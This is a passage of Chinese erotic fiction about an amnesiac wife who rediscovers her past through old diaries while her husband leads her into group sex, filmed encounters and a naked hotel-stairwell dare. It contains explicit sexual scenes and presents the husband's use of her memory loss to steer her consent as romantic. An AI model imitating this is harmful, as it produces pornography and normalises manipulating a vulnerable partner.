图片载入中

记忆裂痕1-6完

特大字】 【大字】 【中字】 【小字

1重识初恋

清晨即起,洒扫庭除。这本是我多年来养成的习惯,然而今天,这个明媚的周末早晨,我起身后,望着身后熟睡的的丈夫,却感慨良多。昨夜是怎样劳累地睡去已不再记得,但之前的一幕幕如看过的电影,真切地印在我的脑海里,此时心情更是难以平复,我很难相信,昨夜那个放浪形骸,疯狂无度的淫贱女人是我,你楚天羽的妻子,我陷入一阵迷茫……我从来都是个内外兼修的美丽女人。虽谈不上有琴棋书画的全才内恃,又不及倾国倾城的红颜绝色,但也同时拥有魔鬼的身材和充满灵性的眼神。而且在这物欲横流的花花世界里面,我也从来不是一个见钱眼开的物质女人,一直觉得女人在面对金钱时,应该高傲一点,淡然一点。为此,我择我所爱,也爱我所择。

并从心底,一直觉得自己很幸福,家庭和事业都很美满。

天有不测风云,人有旦夕祸福。一年前的一场意外车祸,万幸地让我存活下来的同时,却使得脑部受创,失去了几年的记忆碎片,让我的记忆层出现了裂痕,很早的事情虽还记得,而近几年发生的事情反而模煳不清。但能如此横祸之下,还能保得全骸鲜活如故,也就不自叹红颜薄命了,相反,我倒觉得自己应该学会感恩,如今近一年多来,我只能靠在丈夫给的我些许提示,去逐渐适应环境,找回原来的自己。

但是,在丈夫的耐心提示中我竟然发现自己是这样一个如此性开放的女人,不知是天羽的暗示有他自己的用意,还是我骨子里面的潜质,我总是在那种气氛下沉醉其中,无法控制自己的身体,最终情欲纷飞。但在我的记忆中,早年的时候,我是个家教非常严格的女孩,父母在我初高中时严禁我谈恋爱的,上大学后认识楚天羽,也是我的第一次恋爱,从相识相知到相爱结发,在我的记忆中,好像也未曾有过出格的事情,我自己回想,也想不出什么意外之事,莫不是选择性地失去某几个时间段的记忆?不是吧,我仍然认为那阵自己是一直守身如玉的,虽在婚前失身给了天羽,也属情愿甘心。

当然,这是我残存的记忆。也许真在那些失去的记忆当中发生过什么?想到这些我就有些头疼。最近在做爱的时候,应该说性活动后,偶尔我会在事后质疑自己的怎会变得如此,在精神上有些排斥的同时,却在肉体上又无法抗拒,抗拒本能,抗拒丈夫,于是我便只好,跟着身体的感觉,欲望的脚步,顺从着自己的丈夫,将疯狂继续着。最近几天,我在一个隐蔽的抽屉里发现了自己许久未见的老日记本,这也许是我找回记忆重归自我的另一条捷径了吧,我不知道。但是日记本的事情我没有告诉我的丈夫天羽。

我来到书房,看见书架上的一架sony的dv放在一本书上,那本书的封皮我很熟悉,是李银河的《虐恋亚文化》,丈夫曾经推荐给我看得一本书,记得一个哲人曾经说过:

甜蜜的爱情可以在欲望的驱使下轻易变成虐恋狂。

现在回想起昨夜的疯狂中,天羽他们确实拿了这架dv在一旁拍摄。我当时只是记得有人拿过dv,后来我便沉浸在肉欲中,没在留意那些细节,是谁拿着dv,谁来做dv的主角,抑或dv是在支架上,大家都是主角,都不得而知,只是在那段时间里我只是在本能的寻找自己的快乐。

我还是打开了dv,一幅淫靡的画面立时出现了:

一个几乎全身赤裸,穿着黑色透明网孔丝袜,带着虐恋项圈的女人,像只母狗一样爬行着,被天羽牵入卧室,从dv的拍摄角度来看,她的笑容淫荡而美丽,完全足以迷去任何雄性的心窍,那雪白的臀部和乳房在dv屏下泛着耀眼的白光,妖艳动人,而由远及近的镜头,特写出肤如凝脂的光滑,细腻,受过男人滋润的少妇风韵一览无余。转过身,背影的画面竟然有一根尾巴状的按摩棒插在她的肛腔内,肥美的雪臀上留有些轻微的红色指痕……(我快进了一下dv,那个淫荡的女人不是别人,正是我自己,这画面简直难为情死了)我被天羽和另外一个熟悉的身影夹在中间……热烈的唇在吻,游走的手在摸,缤纷的头发在空气中摇拽,欲望的气氛那样糜重。那两张熟悉而陌生的脸上下穿梭,啃噬着我的身体,每一寸肌肤……两只硕大的阳物,分别占据了我的两个体腔,还不停地做着活塞运动着,我的长发被天宇从背后猝然拉起,我的身体不可思议地扭曲着……我能够感觉,画面上的我恍然在颤抖。

这就是天羽常说得,双龙捣凤吧,我关掉dv。有些失落。

这是我原本想要的爱情吗?

灵魂在何处,不知所系,情感在纷飞,不知所踪。

我找不到答案。

看丈夫还未醒来,估计还要睡多时。良久,我走到书房的桌前,翻出那本刚刚找到诉说心事的老日记本,随意翻看着。我这多年来养成写日记的习惯,一直保留着至今,即使在这个老日记本找不到时候,我又拿了一本新册继续自己的日记。我很感谢我的丈夫天羽,我之所以有这个记日记的习惯,是他给了我一定的空间,让我可以在心灵深处除了和他的那些亲密之外还保留有一片属于自己的绿洲,茂盛,繁衍。

7月2日今天的天气很闷热,公开课也很无聊,每一节都那么多人,我还在后排坐着根本听不清老师讲得是什么,你说那破老师声音还那幺小,后面的同学哪里听得清楚嘛。本来前面有个同班同学旁边的人离开后有个空座,我的同学叫我过去,还被一个穿蓝色夹克,油头粉面的家伙抢去坐了,那个傲慢的男生一点不绅士,也不知道给女同学让让座,鄙视他,强烈鄙视。

跟他理论几句,他竟然说我无聊,别再纠缠他。真是太气人了,可恶的家伙,我记住他了,咱好歹也是个学生会的干部,以后千万别让他犯在我手里,我一定不会让他好过的。

7月9日虽然我也是学生会的骨干,但文学社却一直是我想参与的学校社团,能够在校刊上发表一些自己的文章,那真是件很光荣的事情,在那些跟男生卿卿我我的女生面前也有面子,咱单身不是没人要,是阳春白雪,曲高和寡,咱这金镶玉岂是一般型男所能企及得了啊。一般须眉自然不入姑奶奶的法眼。

但今天在文学社投稿时我却再次遇到了他,那个可恶的楚天羽,他还是穿着那件蓝色的破夹克,还立着领子,着装好是奇怪。想不到那天跟我发生冲突的那个长得冠冕堂皇的家伙,竟会是副社长,好大的官威啊,我的稿件让他来审核真是郁闷。看来他要公报私仇了。哎,天妒英才啊。

7月13日今天,那个傲慢的楚天羽去我们班里找了我,说这期文学社的活动校刊-鲁园第十五期,我的作品《海的女儿》被取上了,他还说很喜欢那我在诗歌中塑造的那个伤感的故事。还读给我,令他感动的那一段:

我是何以忍心用姐妹的刀割破你的胸膛来换取你心脏的一滴鲜血那一滴可以鱼尾化双腿并让你爱上我的鲜血于是在你醒来前我化作阳光下美丽的泡沫……无悔的笑着伤感的离开他很动情的读着,竟有些伤感流露,真想不到,傲慢冷漠的他还是有些人情味的。也许是我离他距离较远,有些偏见?呵呵。我还真不知道,但此刻我觉得,这个男生在我心中的样子开始变得和蔼,而不是那么傲慢。

7月19日学校虽然放假了,但很多同学依然留在校没回家乡,学习和课余生活仍是十分丰富,这不今天年组还组织了暑期篮球比赛,楚天羽也没回家乡,想不到一向附庸风雅文质彬彬的他,居然还喜欢篮球,呵呵。他来找我,要我去作他的亲友团啦啦队,还真是有点害羞啊,小梅这丫头总是取笑我,说我和他有一腿,这个死丫头,现在越来越贫嘴了。

篮球场上看到他带球上篮的动作还真是蛮帅的,看到他突破进球的一刻,我忍不住喊了出来:楚天羽,加油。弄得对面的男同学都侧目看我,有的还在吹口哨,真是难为情。那个楚天羽竟然还一脸得意,真是坏死了。

7月28日还是放假好,多些自己的时间,可以多做些自己喜欢的事情。我洗过衣服,我在图书馆看了半天的外国名着。

今天吃完午饭,我走回宿舍,看到了楚天羽,他竟然和小梅在校园的宿舍区旁边的凉亭里面亲密地聊天,在远处看着他们有说有笑的样子,我的心理很不是滋味,他们不是在约会吧,我本想过去抓奸在床的,后来想想自己和他也没什么关系的定性嘛,索性顺其自然了,这个楚天羽真是风流成性。他们居然这样,我有点伤心。虽然是我最好的女朋友和我有点喜欢的男生,他们怎么这样啊。

回到寝室,思前想后,我下决心了,决定再也不理这个傲慢的家伙了。一定是他勾引小梅的。小梅的脾气我还是熟悉的,她是不会抢人所爱的,只是为人有耿直,多些善良。一点不像班里那些整天攀比穿戴的城市女孩,如果小梅真的喜欢他,我真不敢想啊,那,那我就退出,这样我至少还有一个朋友。哎,只是我的生活又归于平静了,哎,花谢花飞飞漫天,香消红断有谁怜爱,呜呜…7月29日误会解除了,今天天气还是那么晴朗,原来楚天羽居然偷偷找我的室友小梅,打听我的个人情况,除了文学还有什么爱好,喜欢什么东西,喜不喜欢吃零食,还有我的生日。这个家伙也真好意思去问。哎,服了。也就是小梅对他印象也不错,要不然,才不会告诉他。小梅这丫头,把组织给出卖了,呜呜。

小梅回来果然又取笑了我一番。

9月6日最近开学了。但是大家还都沉浸在放假的气氛中没找回紧张的感觉。

今天是周末,晚上有学生主题舞会-《请跟我来》

晚上的人确实很多,很多女生都直接应男生邀请而来,即使落单,也多数都很快有舞伴相邀,我却一个人,被同寝的小梅丢在一边,孤单一人,也许是我平日在学生会颐指气使的惯了,那些男生反而对我有些惧意?无人理我。

这时我又看见了他,楚天羽,他还是老样子,一副从然自得的闲适。

他缓缓的走过来,轻声对我说:我放下我的傲慢,你放下你的偏见,如果你愿意,请跟我来。

我缓缓的伸出手……耳边音乐适时的响起,苏芮、虞戡平那熟悉而磁性的声音立刻沁入心扉:

我踩着不变的步伐是为了配合你到来在慌张迟疑的时候请跟我来……我带着梦幻的期待是无法按捺的情怀在你不注意的时候请跟我来……这音乐歌词好美,真得好像为我们的再次不期而遇做情景独白。灯光飘忽不定的人群中,我牵着他的手,可以清晰地感觉到他的心跳和紧张。连手都有点抖,怎么会,他怎么会紧张那?我有些不解,真的不像那个一向以从容自居的楚天羽,难道他……我脸上有些烫,但心理却是甜甜的。

9月12日今天是周末,在他的提议下,我们相约一起去公园看紫薇花。

一路上,我感觉天气宜人,拥着他的感觉很温馨和安全,我真希望天天和他在一起。有诗说:两情若是长久时,又岂在朝朝暮暮。我倒觉得,两情若要长久时,须常在朝朝暮暮。

公园的紫薇花开得很是灿烂,天羽欢喜地看了看紫薇花,又看了看我,然后一脸严肃地告诉我:紫薇花,这种美丽的植物,花期每年七月到十月花开不断,遂称百日红,也叫满堂红。喜光旱,而惧水涝。还可入药,有活血,止血,解毒,消肿之功用,宋代和明代还有诗人作诗赞过……我像只小绵羊一样安静的看着他,聆听他的每一句话,他的声音真好听,我喜欢他娓娓道来的一切。他真的很渊博,让我暗生钦佩,要知道学校里能让我佩服的人并不多的。

他还那样柔柔地对我说:紫薇花这种在阳光下喜欢绽放美丽的性格,很像你,你知道吗?当我在那次篮球比赛时看到你为我加油纳威的时候,人群中我觉得我的眼中只看到了害羞的你,那时我就爱上了你。

天羽还对着紫薇花树送我一首喻花于我的小诗:

秋来夏去展翠华,百日红彤醉酒家。

平生自喜艳阳曝,谁人雅俗胜与她。

天羽的眼睛一直看着我,嘴唇离我原来越近,我一阵触电的感觉席卷全身,我交出了自己初吻……我知道,我恋爱了。我喜欢这种真切的感觉,感受到自己为爱而存在。

我翻过这前几页,抬起头,凝思了片刻,轻叹了一声,哎,那是六七年前上大学的我啊,那阵我是多么天真与浪漫,少女的懵懂娇羞,都是那样的了然明显。

和现在的自己简直判若两人,差距无可比喻之大啊。这之间发生过了什么那?我难以自答,只好继续低下头翻看日记……我多翻了几页,想寻找一些我和楚天羽已经确定恋爱关系后的时间段,却无意看到一整页只有一首诗:

谁言床第有何欢,翻云覆雨凌陨端。

醉罢意绝嘶声吼,龙吟凤喘过西湾。

这不是我写的诗啊,一定是当年某天羽和我做过爱后写得,我真的想不起来了,那阵被我记了下来,估计是当时自觉朗朗上口,希望这段诗以后看到可以找回年轻时的幼稚吧,这个坏小子,竟写些歪诗浪词,还蛮有味道的……正在我想继续翻看下页的时候,桌边的电话铃声响了,我知道天羽听到后马上就会醒来,便把日记本又放回抽屉,然后去做卫生与早餐的家务了,电话是找天羽的,他接过电话便油腻的来到我身边亲吻了我一下,说让我今天陪他出去转转,想来今天确也无事安排,就答应下来。吃过早餐,天羽早我以前穿着妥当,当我穿上习惯的紧身短裙之时,天羽又拥了过来,一阵亲昵,竟把我的系带底裤解去,我有心要回,但听他柔柔地说:老婆,为了我,今天凉快一点好吗?

我犹豫了一下,竟然答应了他……

2 初尝云雨

这两天,天气总是时常阵雨连连。很适合呆在室内。

下午处理完一些琐碎的事情,我就回到了家里。

我一个人坐在书房舒适的靠椅上,天羽还没有回家来,我的心思有些凌乱,我打开了电脑,上网有点慢,便随意点击着电脑里面的文件夹,有些文件夹可能是天羽的,我有点犹豫,我不知道我是不是该这样做的,好像天羽也对我没有欺骗或谎言误导过什么,但我还是对那些未知的过去充满兴趣,似乎那个忘却的时空里面有我必须要了解事情,我需要一个完整的自己。

也许天羽是出于善意的,有些事情不愿意告诉我,怕我的感情接受不了。或者他认为忘却反而是一种幸运。我不知道,这男人有时真的很复杂。但抛开一切不提,我也至少能肯定一点,就是他是爱我的。而且我也爱他。这种感情即使在失去部分记忆的情况下,我也仍然能够感受的到,他的眼神,他对我说话的语气无不让我感受到,我是他生命中最重要的人。不过人总是有好奇心的。不是有个电影《好奇害死猫》吗?我不会是那只猫吧。

看起来,我是比猫要好看多了,应该运气更好些吧。这种窗外的阵雨过去,天气有些放晴。我可以看到落日的余晖,斜着窗子射到屋里,让地板有些红彤可观。

我看见回收站的图标不是空的,便打开一下,见有个名字叫娇妻x档案的文件夹。好奇怪的名字。我把文件夹恢复了一下,然后找到地址,打开文件夹,却发现文件夹是空的。

这个时空有我太多不知道的事情了。我想得脑子有点疼。

桌上有一张我和天羽早年以前合拍的台照镜框,纯美傲然的我,英气俊朗的天羽。我盯着照片有点发呆,似乎根本不太关心这个时空发生的事情,但是我总觉得自己要有些耐心,准备去面对另一个或者几个自己。

时间仿佛又凝固了,等待我的审查。

9月25日宿舍来了两个新室友,也是同年级的,王灵和古燕。她们的两个对我和小梅倒是蛮热情的,小梅跟她俩处的也还不错,但就是有时看她们浓妆艳抹的,偶尔还有流里流气的男生过来找她们让人多少有点道不同,不相为谋的感觉。

反正大家处的还可以,有时她们还请小梅吃饭。一般请我我是不去的。总觉得她们是那种爱好虚荣的女孩,和我完全是两类。我也问过小梅,小梅还一脸无辜:人家请你吃饭,你还不给面子啊,咱可不是什么大部长,呵呵。

这死丫头,又讽刺我。

9月28日这段时间实在是忙,日记也不是每天都有写的,只好在有空的时候就多写些心事在里面。

最近心情真是不错,随着我在学生会逐渐地开始展露头脚,工作中抛头露面于众多学生前的机会陡然增多,竟然又有新人对我开始追求,鲜花和情书,这类俗套之物偶尔也会收到,我是不屑一顾的,但还是每每都婉言拒绝,免得伤了那些情窦初开的男孩的自尊。毕竟自己已经心有所属。

但上次去文学社的时候曾见过的一个男生竟然冒失在走廊跟我说话,估计花也是他送的,今天他竟对我说直截了当地说,知道我和楚天羽的事情,但愿意退而求其次,哪天我失恋,第一要考虑他。这个乌鸦嘴,真的我失恋了,也不会考虑这种男孩的。还没断奶嘛。要知道我们这个年代还不流行姐弟恋。

不过他长得蛮帅的,我对他原来有点印象,好像王灵古燕她们跟他关系不错,来我们宿舍前约人时候。好像见过的。小梅提过,这这男生叫萧可勇。听说家里条件非常不错,常常请其他同学吃饭,怪不得王灵古燕她们总在一起混那。

天羽对我的感情也与日俱增,他对女生的评价成熟的很,美丽的,可爱的,充满灵性的,比喻词一大堆。还说我属于美丽和灵性兼而有之的那类,属于世间极品。这简直就属于帝国主义的糖衣炮弹嘛,不过我喜欢听,呵呵。

10月4日最近放假了,我回家呆了两天赶回来的,学校还有些事情要处理。

每过些时间段,他总会让我惊喜一下,送我些朴实却不乏精致含义的小礼物。

今天就送我一个水晶苹果,说是代表我们的爱情,像水晶一样透明,像苹果一样甜蜜,真能拽哦。不过今天天羽想更进一步亲近我,还用手摸我的身子,开始我还没有拒绝,但是后来他得寸进尺,还要……我有点说不出的感觉,天羽被我推开打了一个耳光,打完我也有点吃惊自己的反应,虽然我的力度不太大,但是天羽还是有些吃惊,然后便一脸柔情的对我说:

亚彤,我爱你。更不会勉强你做任何事情,我会尊重你的选择,一直等到你愿意把自己交给我为止。(我的全名叫穆亚彤,不要偷看我日记哦)其实一向穿着朴素的我,也乐于偶尔穿些漂亮的新衣服,但我是不去买那些死贵死贵的衣服,我只是找一些适合自己的衣服来穿的,即使普通牛仔裤,咱也能穿出港姐效果来,没办法,天生丽质啊,这样打扮典雅一些去见天羽,他也有面子。

我和天羽的交往,关系虽然好像是确定了,但是我还是很矜持,不想整天粘着他,我也知道像他这样的男生是不喜欢那种跟屁虫似的女孩的,加上学习和学生会的工作,跟他约会的时间频率,也只是保持一周一次。

今天收礼高兴,心血来潮,写首小诗:

漫华初露妒春芳,红杏一枝醉楚湘。

须眉纵有三千甲,娇颜只为一人妆。

送你的,天羽!

回头给你看。

10月9日今天我又把日记本放在桌上,在天羽来之前做上记号,随后不在日记旁边,却从没发现过记号有变化,至少这一点看,我觉得天羽是值得我爱的,他尊重我的我的意愿和隐私。

这个世界谁没有一些自己的隐私那?我是有的。

10月14日最近,学生会的事情真多,我这个宣传部长,都快忙死了。细看一下,最近的这些工作里面能够配合文学社团的活动还是值得我期待的,其他什么和摄影社团,还有英语社团的那些联办活动,我真是虽有心力却无兴趣。哎,我也不喜欢那些活动,头还非得让我去做联络官。浪费精力啊,上次期考,有一科高数二就险些没过,丢死人了。也说不好是那教高数的李老师网开一面那。那小伙还蛮帅的,刚结婚,见我面总是开我玩笑,部长长,部长短的,一点不像个老师。不过再帅也比不过咱家天羽。呵呵。

今天中午和天羽一起吃饭的时候,他也跟我提起萧可勇了,是文学社里面成员,发表的作品都比较青涩,人还是很真诚一个人,不像我以前把他和古燕王灵在一起以为的那样物质。虽然好像天羽也知道萧可勇给我送花的事情,但天羽认为那是我和他的事情,他不会参与意见。又跟我装豁达。

回到宿舍,真巧,小梅也偷偷跟我说,萧可勇接近古燕王灵她们好像也是因为找她们的时候可以偶尔看到我,这事古燕还挺不乐意的,古燕好像对萧可勇有点意思。

其实,我对古燕王灵也没啥成见,不过最近她们总去学校外面的那些舞厅和酒吧,听说那里好乱啊。她们这是在放纵自己,真要她们出事,无论从那个角度来说都不是我愿意看到的。

10月17日今天不知什么鬼天气,下课出来的时候居然下雨了,我们这个城市这个季节真是罕见。我在教学楼前避雨,听见有人叫我彤姐,我回过头,却看见萧可勇打着把伞过来,走到我身边来,还问我用不用,我说等一下雨就小了,然后再走,他竟然丢下伞就跑了,这个男孩啊,有时也蛮可爱的。呵呵。

10月30日今天,天气不错哦,天羽约我出去,他在这个城市有个姨妈,她住在个漂亮的别墅里面,估计是富人区的吧,天羽有这样有钱的姨妈我以前还真不知道,管她那,也不是我的钱。

天羽说我们一起去他姨妈家里坐坐吧,也不能总去压马路看电影吧。呵呵。

到了那里我我却发现桌子上面有个生日蛋糕,我有点晕了,我还真没问过天羽,今天谁过生日,是他姨妈吗?

天羽笑笑,说今天是自己的生日,虽没怪我跟他打听,但我心理还是有些惭愧,呵呵,本姑娘一般不讨好别人的。

这蛋糕学校周围还真吃不到,奶油味道浓香沁人,甜度适口滑而不腻,我竟然吃了三块,呵呵。

吃过蛋糕,天羽过来柔柔的对我说:彤,你爱我吗?我还未来的及擦嘴边的奶油:我爱你!我毫不犹豫的回答了他,那你爱我吗?

当然,我深深地,无时无刻不在爱着你,这种感觉甚至有些煎熬我。天羽看着我的眼睛坚定的说。

那你别煎熬的,会受伤的。我嬉笑温柔的看着他。

如果你愿意,那就让我受伤吧,我可以深受你的一切。无论发生什么,沧海桑田,哪怕你……哪怕我不在美丽?或者变成男人,你也爱我?我淘气的问着。

是的。天羽又坚定地说,你个坏丫头,竟敢……他热吻拥了上来,吻得我身体一阵酥麻。我向后倒在沙发上,耳朵,脖子,依次沦陷,每一次肌肤都被攻城掠地,受到他热烈而有些粗暴的侵犯。我想反抗,却被一种力量征服着,他是那样有力,让我丢盔卸甲,输得一败涂地。不知为何,这种强暴似的感觉竟让我有些陶然,也许上次是天羽太温柔了?我才没答应他?

我不知道。

不过今天,我一定输了,彻底地输了。

今天是他的生日,我应该给他吗?我还没来得及考虑明白这个问题,身上已经只剩下文胸和底裤。

他突然停了下来,然后在我颈边猛吸了口气,然后抬头用情的望着我。

亚彤你的身体有种天然的香气,我控制不了自己,没伤到你吧。

我感觉自己,面颊绯红。便挪动了一下身体。

天羽看着我的酮体,一阵痴醉陶然的表情。

你真美,你的身体简直就是一件艺术品。我准备收藏占有了,好吗?

我,我,那你……我一时娇羞地不知所言。

好吧,只要你对得起自己的良心,我今天就交给你了。我好像就义一样慷慨陈词。我有些茫然。不知自己是不是做出正确的选择了。

一柄金矛正在贯穿我的身体慢慢渗入我的灵魂……我有些痛楚,随着深度的渐进,痛楚逐渐加大,我咬着牙根,不发一丝声音出来。随着他的突然发力,我不自然哼叫了一下,这力量实在有些突然,我为自己有些满足地声音感到羞耻。我在犹豫与矛盾中感受欢乐。随后在一波一波的海潮中,我逐渐感受到了海水在接受太阳温度时的欢喜,暖暖的,甜甜的。

刚刚湿润的眼角,继续涌出更多的泪水,只是性质不同了。

在太阳暖得让人惬意无比的时候,突然一阵快速的暴风雨尽情袭来,我徜徉在雨中,雨滴尽情的拍打着我的门户,天海融为一体,直落下一缕缕绯红落尽,染红了海水……我飞跃了山巅,飞跃了大海,飞向能够燃烧自己的太阳。

飞向幻想锁链的彼岸……良久,我睁开眼睛,看着刚刚高潮后的他。他正在在温柔的看着我。

初识云雨漫芬芳,玉体横陈醉九江。

为有红颜多映日,梅花庄前暴雨枪。

天羽,一字一句的读出来,不曾考虑。

坏小子,又写淫诗。好个梅花庄前,我就接你这句。

我低头凝思片刻,便轻声言道:

梅花庄前梅树栽,梅树上傲梅花开。

轻取梅花做三弄,凌雪一绽为君摘。

你说得要三弄哦,我来了……天羽又扑了上来。呜呜,我晕了过去。

蛮有意思的,那阵我们的原文诗词水平其实虽然有限,但都还是自然流露的青涩之作。

我怔怔地看着自己年轻时的性爱日记,无限感慨油然而生,多美妙啊,诗一样纯洁的年龄啊,此时我并未被自己的婚前失身感到丝毫的羞耻,反而有种幸福的娇羞盈上心头,这种感觉很久没有了……在老日记本里面上那些泛黄的字迹中,我仿佛又回到了那个充满青春而有血有肉时空里面。那些忙碌的日子,那些充实的日子。自己的人生目标好像也很远大,不像现在,早无了年轻时的棱角分明,而尽是些随遇而安的淡然了。

这时电话响了,我慢慢的接起来:老婆,晚上有空没,今天……然后欲言又止地说:

跟我去参加一个聚会吧,挺多朋友的。也一起吃个饭。

不去了,天羽,今天我有些头疼。想自己待一会也许会好些。

那我带秘书小玲去了啊,你到时候可别……呵呵。天羽笑着说。

没事,你们去吧,我,相信你……相信你真发生点什么事情瞒着我会死得很惨的。我做出咬牙的动作,从牙缝中流出那句话。

不是吧你,这国泰民安的,恐怖主义势力又有所抬头哦。天羽咧嘴道。

你去吧,早点回来,注意安全。我的声音恢复了温柔。

吃饭的时间确实倒了,我准备自己弄了些东西吃,水果色拉,还有些营养膳食粉。我晚上一般不吃太多东西的。虽无太好的食欲,但还是风卷残云的消灭掉自己弄好的那些食物。还是继续翻看那些日记吧。

电话又响了,还是天羽。都说了我不去的,这都吃过东西了……我一边推脱的嘟囔着,一边摆弄手里的日记本。

老婆,我这边出了点事情,在皇城国际饭店521房间,你过来一下,我不多说了……嘟,嘟那,你……我还没接上半句话,那边就挂了。剩下的只是阵阵忙音,说话的时候还听到酒杯或者酒瓶一类落在清脆爆裂的声音。

出什么意外了,我思量着,却想不明白,还是赶快去一趟吧。我把日记本匆忙地放进随身皮包,连忙穿上衣服,飞似的跑出门。打了一辆的士,直奔皇城国际酒店。

一路上,我心急如焚,眼睛甚至有点模煳,一种不祥的预感笼罩着我,这种感觉让我非常地揪心,好像自己的一部分就要离开自己一样。我又拨了一遍天羽的手机,居然关机了。我更加心急了,多次催促司机开快一点,司机看我杏眉紧皱,一脸焦急肃,也觉得可能有很重要的事情,虽然稳重但还是加足了油门。

我走进酒店大厅,飞跑到电梯旁边,反复的按着电梯感应按钮。还不时的看着慢吞吞的数字从21变到1。电梯总算下来了,没等电梯门开到边缘,我就侧身进入,然后飞快的按感应关门键,然后按5楼。这可恶的电梯居然下到了地下室一层,我心焦如火,深唿吸了一下,然后对自己说,是福不是祸,是祸躲不过,来吧,姑奶奶怕过谁……电梯终于倒了五楼,没等电梯门开完,我又侧身串出来,抬头查看门牌号,然后心理默默的说着:521,521,521。这数字怎么这么顺口那。没时间考虑了,我终于在角落里看到了521房间,到了门口我却心理有点紧张了,这里是个拐角,光线有点暗,我鼓足勇气,敲门的手加了些力量,不能在气势上先输给敌人。

门,没有锁,竟然慢慢的随着我敲门的力量,滑开了。里面很黑。

门旁边的钥匙电源上,ic卡的位置是空的。静极了,我听到了自己急促的唿吸声音。

有人吗?请问有人吗?我开始疑惑了,自己是不是中了什么圈套了。丈夫已经被坏人绑票了?还是里面会有具什么尸体,顷刻间我的脑子里面充满了各种猜测。

这是好像是侧面还有一个房间有个鬼火一样的光亮慢慢滑过来。

我走上了一步,我又问了一句有人吗?我有点害怕了。

这时,我看见两个人推着一辆蛋糕车,上面插满了蜡烛,从拐角滑了出来。

祝你生日快乐,祝你生日快乐,祝你……电源不知何时被打开了,很多人立刻从四周突然冒出来,他们大多是我和天羽的朋友,好像那天和天羽一起……的那个熟人。他们一边唱歌,一边微笑地看着我。

我看到后面的地上满是红玫瑰,鲜艳动人,上面似乎还可以看到晶莹了露珠。

那些人中间一个正是天羽,他缓缓的走过来:老婆,你忘了,今天是你的生日,祝你生日快乐。我喜极而泣。一下上前抱住了天羽,刚才担心后的委屈和现在的意外惊喜都化作点点梨花,湿润了天羽的肩头。

看到这一切,天羽冲周围的人点头示意感谢,周围的朋友就都识趣地慢慢都退出房门,纷纷离开的酒店,估计他们对我的表现好像也有些意外,但是天羽看来平时待他们不薄,所以几乎很快时间大家就都走得一干二净了。

天羽用他的温存,吻干了我那刚才还梨花点点的脸颊,我委屈的对他说:下次不许这样。他认真的点点头:

你忘记今天是自己的生日,我是想给你一个惊喜的。蜡烛还没灭,许个心愿吧。

我对着蜡烛闭上眼睛,然后脑中生出一个祝福,祈祷。睁眼,吹灭蜡烛。

洗个澡吧,老婆,我们来个鸳鸯戏水吧。我点点头。脱去衣衫,走进浴室。

浴室蛮大的,天羽事先已经放好了水。我踏进了圆形浴盆之中。我闭着眼睛斜靠在这个大浴盆侧面。

老婆,你好享受啊,还记得我们上次在这家酒店玩的那个暴露游戏吗?

你个坏家伙你还好意思说啊。我嘟囔了一声……浴盆中的泡沫缤纷动人,那些泡泡个个都色彩斑斓地映着灯光,好像每个里面都有一个故事在发生。

我眯缝着眼睛看着这些漂亮的泡沫,好像看到其中一个泡泡正在播放着我在几个月前那次暴露游戏中的精彩表现……

3暴露疑云

我眯缝着眼睛看着这些漂亮的泡沫,好像看到其中一个泡泡正在播放着我在几个月前那次暴露游戏中的精彩表现……酒店vip套房温暖的浴池中,我感受着来自热流的暗涌,眼前弥漫着朦胧的水蒸气,混合着浴液泡泡在灯光的折射下的五彩缤纷,把我带入了几个月前的那段时空中…老婆,你这个当年的维纳斯,今天敢不敢和我玩个勇敢者的游戏啊,我打赌你会输给我。天羽在皇城国际酒店318房间浴池里面对着刚刚洗过澡的我说。

切,水来土掩,你说吧,怎么玩。我不屑的抬起头。

嗯,看现在你的暴露阈值已经比较高了,等会再告诉你。现在我要你只穿一件风衣跟我走,怎么样,敢不敢?

我侧着头,瞥见浴室镜子里面那个丰乳肥臀的女人赤裸着身子从容地走出浴室。衣柜里面的半大风衣是我喜欢的紫红色,它在空中随着我手臂的力度画出一道优美的弧线后,得体地穿在我的身上,丝丝入扣。

就这样?可以走了吗?我系好水晶高跟鞋的鞋带后对天羽说。

呵呵,好的,好的,有胆识。天羽一脸诡笑我们坐着电梯来到了顶层21楼,然后我随着天羽走入了侧面不远处的防火通道上。这里的灯光随着我和天羽的脚步声,开始照明工作。

游戏的规则是这样:你现在要把你的衣服给我,然后从防火通道到到2楼,我在那里把衣服放到走廊拐角处的窗台上,然后你回到213房间。但是有要求的,记住你只有二十分钟,手机你可以带着,如果你给我打电话,或着其他形式有人把你带到我这里。天羽忍不住一阵坏笑。那你就输了。

对了,忘了告诉你,走廊里面和电梯是有监控器的,所以你当你周围没人的时候,尽量抓紧时间,也许监控室的保安还没注意到你,哈哈。

好了,现在这件衣服由我保管了。脱下来吧。

我有点无奈地脱下衣服交给天羽,虽然恍惚自己好像曾经不止一次把自己性感的肉体暴露在大庭广众之下,但那段记忆模煳不清,只有那种暴露身体的快感和及其所带来的心跳支撑着我把衣服交给天羽。

我的身体有还是些发抖,在一个陌生的环境里面裸露还是让人心跳不已,但拿到衣服的天羽却像兔子一样已经飞快地消失在不远处的电梯里面了。我看了看表,然后硬着头皮顺着防火通道地楼梯走向楼下去……老实说,我害怕极了,这个时间段完全有可能有人在防火通道里面啊。

我能够听到自己紧张的心跳声和水晶高跟鞋交相唿应。

别说,开始的楼梯还真是下得蛮顺利的,很多楼层的防火通道的门基本都关着,和外面的走廊相隔虽然只有一墙,但由于没人注意,好像蛮安全的。我就快要路过一层楼的门时,虚掩的门传来外面两个男人的声音:

刘总,你那点事情好办。还有烟吗?嫂子在屋里,我也不好意思抽啊。

话语未落,脚本声音却逐渐逼近防火通道的门口。

我一阵心惊,赤裸着尤物般的酮体,不由得赶紧加快了步伐,快步走下楼梯。

高跟鞋的声音由于加快步伐马上而引起走进防火通道外走廊里男人的注意,我无法顾及楼上的情况,只是急促的下着楼梯。恍然感觉到楼梯上有目光直射下来……刚才好像看见一个女人没穿衣服,光着屁股走下楼梯,最近我他妈好像总有幻觉,哪天我得去看看医生了。

呵呵,我看也是。楼梯上面传下来清晰的对话声音。

我侥幸的暗笑,长出了一口气。

晕死,这个死天羽。想害死我啊。

看着五楼在防火通道平台处堆积的成小山一样的装修材料横着缓步台上,我暗骂道。

这堆材料完全挡死了楼梯下楼的楼梯,估计是这楼层有人装修临时放在这里的。这个死天羽,太坏了,他一定事前知道的。

我返回了楼上一层,轻轻走到了的防火通道的门口。慢慢推开门,见这时走廊还真是出奇的静,电梯口就在几米之外的地方。

